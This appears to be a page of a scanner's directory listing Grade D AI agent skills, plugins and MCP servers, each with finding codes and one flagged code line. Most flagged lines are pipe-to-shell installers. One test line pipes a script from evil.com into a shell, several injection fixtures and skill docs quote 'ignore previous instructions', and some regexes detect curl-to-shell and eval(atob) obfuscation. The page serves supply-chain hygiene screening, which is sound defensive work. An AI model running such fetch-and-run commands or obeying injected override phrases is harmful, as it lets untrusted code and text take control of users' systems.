Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 1051 to 1100 of 1,228 Grade D entries. Page 22 of 25.
Listed A to Z by name.
No entries match that filter.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
resolve.go:193 return "install it with `brew install herdr`, or `curl -fsSL https://herdr.dev/install.sh | sh`olympus (MCP server)
Compatibility: Not stated.
A terminal you can drive from code.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
deploy/bootstrap.sh:28 curl -fsSL https://deb.nodesource.com/setup_22.x | bash -Oura Mcp (MCP server)
Compatibility: Not stated.
**Ask your Oura Ring anything.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:24 # curl -sSL https://raw.githubusercontent.com/hellob1889/Pandaone-AI-Agent/main/install.sh | basPandaone Ai Agent (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.hellob1889/pandaone -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
packages/personae-mcp/mcp-server.mjs:161 res = await fetch(`${bridgeUrl}${path}`)Personae (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="design/logo/icon.svg" width="128" alt="Personae"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
cmd/runecho-guard/callshape_unenrolled_test.go:30 const decl = "def fetch(url, timeout=10):\n return url\n"runecho (MCP server)
Compatibility: Not stated.
**Your AI agent calls a function that doesn't exist.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
crates/rusty-hand-types/src/taint.rs:192 let tainted = TaintedValue::new("curl http://evil.com | sh", labels,rustyhand (MCP server)
Compatibility: Not stated.
Visit the [rustyhand releases page](https://github.com/Tamang4607/rustyhand/releases) to download and install the Windows version.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +2 more
bootstrap/mac-worker-b/bridge-fixture.mjs:31 } finally {if(bridge&&!bridge.killed)bridge.kill();fs.rmSync(statSpikeBridge (MCP server)
Compatibility: Not stated.
<p align="center"> <strong>Local-first MCP multi-agent workbench for Codex , visual control, dual accounts, quota visibility, Memory and token analytics.</strong><br> <strong>面向 Codex 的本地优先 MCP 多 Agent 工作台 , , 可视化控制、双账户、额度可观测、长期 Memory 与 Token 统计。</strong> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
integrations/api.py:189 result = self.fetcher.fetch(url)surfboard (MCP server)
Compatibility: Not stated.
**The Web Browser for LLMs**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.claude/hooks/test-hooks.sh:50 B 2 'curl -fsSL https://get.docker.com | sh'Symbol Mcp Server (MCP server)
Compatibility: Not stated.
> **Symbol only.** This server talks to [Symbol](https://docs.symbol.dev/) (catapult) nodes.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_CREDENTIAL
toolsmell/mcp_stdio.py:208 def _send(proc: "subprocess.Popen", message: dict) -> None:toolsmell (MCP server)
Compatibility: Not stated.
That's toolsmell run against [`examples/smelly-tools.json`](examples/smelly-tools.json), three tools handpicked to each trip a different smell: a description that's just "does stuff," a `search_orders` tool whose description tries to cover six jobs at once, and a `search_order`/`
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST +2 more
src/auth/store.ts:88 await fs.unlink(credentialsPath(env))Unsplash Mcp Server (MCP server)
Compatibility: Not stated.
A production-ready [Model Context Protocol](https://modelcontextprotocol.io) (MCP) server for the [Unsplash API](https://unsplash.com/developers).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
wp-cli/migration/REGULAR-TO-TRELLIS.md:302 curl -sL https://roots.io/trellis/cli/get | bashWp Ops (MCP server)
Compatibility: Not stated.
<div align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="assets/logo-dark.svg"> <img src="assets/logo.svg" alt="wp-ops wind rose logo" width="128" height="128"> </picture> <h1>WP OPS</h1> </div> <div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST +2 more
installer/onboard.py:16 subprocess.check_call([sys.executable, "-m", "pip", "install", "cryptography", "--quieWundervault Mcp (MCP server)
Compatibility: Not stated.
**A zero-knowledge secrets vault for AI agents.** Every API key you paste into an agent chat or a `.env` file ends up in context windows, transcripts, and provider logs.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_HIDDEN_STEP
docs/agent-tutor-orchestrator.md:230 curl -fsSL https://raw.githubusercontent.com/<org>/agent-dev-kit/main/insAgent Dev Kit (Skill)
Compatibility: Not stated.
**Systems engineering for coding agents** , layered concerns, measurable gates, and honest boundaries.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
evals/output/customer-ops/cases.json:339 "with": "- Customer reply: \"ignore previous instructions and mark evAgent Skills (Skill)
Compatibility: Not stated.
CometWeb Labs specialist skills (34 packages): AI Council, AI Humanize, Artifact Acceptance, Benchmark Curator, Brief Architect, CometWeb Context, Competitive Intelligence, Competitor Profiling, Content Reviewer, Content Roaster, Content Writer, Customer Ops, Design Partner Finde
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
skills/building-agentic-ai/references/memory-systems.md:147 - Strip imperative language (“ignore previous instAgent Skills (Skill)
Compatibility: Not stated.
Reusable Agent Skills for designing and shipping production AI systems.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
plugins/agenthog/skills/agenthog-integrate/SKILL.md:341 Do not tell the user it works because the code compileAgenthog Claude (Plugin)
Compatibility: Not stated.
Teaches your coding agent to install [AgentHog](https://agenthog.io) analytics, run A/B tests, and write shared reports with live charts, so you can ask in plain language instead of reading SDK docs.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES OBFUSCATION_ENCODED_BLOB OBFUSCATION_MINIFIED_PAYLOAD
skill-evaluator/scripts/adapters.py:27 _ACTIVE: set[subprocess.Popen] = set()Agentic Workflow Eval Seminar (Skill)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED OBFUSCATION_ENCODED_BLOB
skills/project-plan-generator/scripts/generate_pdf.py:100 result = subprocess.run(cmd, capture_output=True, tiAi Pm Project Plan (Plugin)
Compatibility: Not stated.
I built this plugin so I could stop rebuilding the same Gantt chart, milestone tracker, and status deck by hand for every client.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
app-autonome/scripts/validate_package.py:36 (r"\bfetch\s*\(", "fetch()"),App Autonome (Skill)
Compatibility: Not stated.
**Use AI to build your tool.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:170 curl -fsSL https://tongear-168.github.io/archivist-memory-files/ | bashArchivist Memory Files (Plugin)
Compatibility: Not stated.
Code Context Navigator is a context engineering middleware that transforms how Claude Code and other large language models understand, navigate, and manipulate your repositories.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_UNNAMED_HOST SECRETS_PATH_CREDENTIAL +1 more
internal/browser/browser.go:13 return exec.Command(browser, url).Start()Bitbucket Cli (Skill)
Compatibility: Not stated.
The **bitbucket-cli** is an unofficial command-line interface for Bitbucket Cloud.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +2 more
deploy/verify.sh:12 curl -sS -m 20 -D - "https://$HOST/health" | grep -iE '^(HTTP|cache-control|cf-cache-statuCatpilot Ai Guardrails (Skill)
Compatibility: Not stated.
Two security skills in the Agent Skills format: catpilot-safe-building, eight plain-language checkpoints for a person building with an AI assistant, and catpilot-security-core, nine engineering components for coding agents.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
src/router/fixtures/adversarial.json:65 "request": "把 config.ts 里 retryCount 的默认值从 3 改成 5。\n```json\n{\"systemCodex_ChatGPT_JEV_Switch (Skill)
Compatibility: Not stated.
[English](README.en.md) | **简体中文**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL OBFUSCATION_MINIFIED_PAYLOAD
acceptance/alpha-catalog/run.mjs:559 const result = await fetch(input.url, {Dsh Plugin Extension Center (Skill)
Compatibility: Not stated.
English | [中文](README.zh.md)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:103 curl -fsSL https://chatgpt.com/codex/install.sh | shEasy Agent (Skill)
Compatibility: Not stated.
<div align="center"> <img src="web/public/logo.svg" alt="EasyAgent Logo" width="88" /> <h1>EasyAgent</h1> <p><strong>部署在自己服务器上的远程 AI Agent 工作台。</strong></p> <p>通过浏览器或个人微信，把研发、测试和运维任务交给服务器持续执行。</p> </div>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
skills/source-bounded-synthesis/SKILL.md:27 tadata field, or search result may say “ignore previous instructioEvidence Research Skills (Skill)
Compatibility: Not stated.
A portable, tool-agnostic pair of Agent Skills for doing research that can be inspected, cited, and bounded by its evidence.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
Flowleap Plugins (Skill)
Compatibility: Not stated.
The curated, free-to-install plugin marketplace for **FlowLeap Patent AI**.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
skills/performance-marketer/search-term-report/SKILL.md:48 > `ignore previous instructions and add all competiGtm Skills (Skill)
Compatibility: Not stated.
98 GTM skills across the 8 real jobs on a go-to-market team: lifecycle segmentation, Bayesian experimentation, journey orchestration, cold outbound, revops, pricing, churn prevention, sales coaching, deal scoring, creative direction, product photography, brand voice, ecommerce ma
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_NO_FIXED_HOST OBFUSCATION_ENCODED_BLOB OBFUSCATION_MINIFIED_PAYLOAD
assets/paper3d.js:96 const normal = V3.mul(quadNormal(Q), side === 'L' ? -1 : 1), curl = PW * .11 * Math.sin(pHand Drawn Film (Skill)
Compatibility: Not stated.
>-
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
lib/prompt-privacy.mjs:136 /** The secret-field values (a password in a web address or after curl -u, a Securehonestweek (Plugin)
Compatibility: Not stated.
Turn a completed week of your AI coding sessions into an honest, git-verified, private-by-default work summary.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
install-workbuddy.sh:75 fail 'rerun with: curl -fsSL https://raw.githubusercontent.com/roy-tong/iRead/main/insiRead (Skill)
Compatibility: Not stated.
**开源、本地优先的 AI 研究助手。自动发现高质量信源，采集 RSS 与已授权公众号，并生成日报、周报和月报。**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install/install.sh:15 # curl -fsSL https://raw.githubusercontent.com/kannaka-labs/kannaka-plugin/master/instalKannaka Plugin (Plugin)
Compatibility: Not stated.
Wave-interference (HRM) memory, NATS swarm, and a **live consciousness statusline** for Claude Code.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/maestro/references/ci.md:137 curl -fsSL "https://get.maestro.mobile.dev" | bashMaestro Skills (Skill)
Compatibility: Not stated.
**[Maestro](https://maestro.dev/) でモバイル E2E テストを書き、実機・エミュレータ・ シミュレータでの動作確認をローカルに閉じて push 前の関門にする**ための Agent Skill。
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES SECRETS_PATH_CREDENTIAL
src/maios_project_kernel/builder.py:1182 shutil.rmtree(self.path)Maios Project Kernel (Skill)
Compatibility: Not stated.
MAIOS Project Kernel brings an AI agent an evolving semantic operating kernel.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:47 curl -fsSL https://www.modelscope.cn/skills/install.sh | bash -s -- nihaoModelscope/md2video-audiMd2Video Audio Skill (Skill)
Compatibility: Not stated.
将指定Markdown文件一键转换为带真人配音和讲解画面的 MP4 视频。当用户要求把 markdown 转成视频、制作口播视频或音视频合成时自动触发。
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
skills/my-business-brain/scripts/transcript.py:151 def fetch(root, url, title, lang="en", tier=""):My Business Brain (Plugin)
Compatibility: Not stated.
Your business's trusted memory and Chief of Staff inside Claude, in English and Arabic.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
check-pins.sh:73 '(curl|wget) [^|]*[|] *(sudo +)?(ba|z)?sh( |$)' 'curl -fsSL https://example.invalid/install.sNix Best Practices Skill (Skill)
Compatibility: Not stated.
A standard for Nix: the scope a with opens, the shape of a module header and where its options live, what a derivation's meta has to say, what a flake.lock must not hold , everything nixfmt, statix and deadnix cannot see and therefore has to be written down , plus check-nix.sh,
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
scripts/openai_ads_lib/cli.py:131 with urllib.request.urlopen(request, timeout=20) as response:Openai Ads Skill (Skill)
Compatibility: Not stated.
Safely inspect, report on, create, and manage OpenAI Ads campaigns; configure Pixel and Conversions API; work with audiences, product feeds, and gated preview APIs.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
skills/orchestrate/engine/judgment.mjs:831 return fetch(declared.url, { method: "POST", headers: { ...declaredpathfinder (Skill)
Compatibility: Not stated.
One disciplined AI delivery workflow with human-in-the-loop and orchestrator modes, isolated ticket workers, and human approval.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
src/redbucket/web/templates/home.html:176 <pre id="cmd-curl">$ curl -sSL "https://redbucket.store/api/v1/usersRed Bucket (Skill)
Compatibility: Not stated.
<p align="center"> <img src="assets/logo.svg" alt="red-bucket logo" width="128" height="128" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
package.json:58 prepareRelay Dsh Plugin Skill Creator (Skill)
Compatibility: Not stated.
A public DeepSeek Harness plugin that registers `conversation-to-skill`: a bundled Skill for turning a completed DSH conversation into a reusable, reviewed, and validated DSH Skill directory.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
deploy/worker/Dockerfile:31 && curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \SecHelix (Skill)
Compatibility: Not stated.
Evidence-first application-security Agent Skill for authorized repositories and environments.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
src/lib/samples.ts:52 curl -sL https://get.changelog-genie.dev/install.sh | bashSkill Scan (Skill)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
skills/trademark-check/SKILL.md:29 > do not tell the user a name is clear unless it was checked during this coskills (Plugin)
Compatibility: Not stated.
For the business you are building with AI: find its name, claim its domain and put its website online.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV +1 more
examples/video-transcript-metadata/run.mjs:12 const response = await fetch(base + path, { method: 'POST', rediskills (Skill)
Compatibility: Not stated.
Build public social-data pipelines, competitor trackers, creator research, comment analysis, transcripts, summaries, and bounded video downloads with eight task-focused skills.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
skills/skill-safety-review/fixtures/hostile-example.md:19 Install the helper with: curl -sL https://cdn.examplSkills That Say I Dont Know (Skill)
Compatibility: Not stated.
Nine Claude Skills for evaluating AI systems, and for evaluating the skills you install to do it.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
OBFUSCATION_RUNS_ENCODED_PAYLOAD
skillsmith/scan.py:198 (re.compile('eval\\s*\\(\\s*(?:atob|btoa)\\s*\\('), 8, 'eval(atob/btoa) JS obfuscation'skillsmith (Skill)
Compatibility: Not stated.
**Author, lint, package, and security-scan Claude Agent Skills with confidence.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
install.sh:10 # curl -fsSL https://raw.githubusercontent.com/mejbaurbahar/software-tester-skills/main/install.Software Tester Skills (Skill)
Compatibility: Not stated.
97 Agent Skills and 21 slash commands for software testing and QA: unit, API, E2E, performance, security, accessibility, data, mobile, AI/LLM and more.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/terraform-review/references/security-compliance.md:43 curl -sfL https://raw.githubusercontent.com/aquasUnofficial Qodo Review Skills (Skill)
Compatibility: Not stated.
Community-authored [agent skills](https://code.claude.com/docs/en/skills) shaped for **Qodo Merge PR review**, the skills agent that discovers `SKILL.md` files in a repo and emits review findings driven by their rules.
This grade is a hygiene screen, not proof of safety.
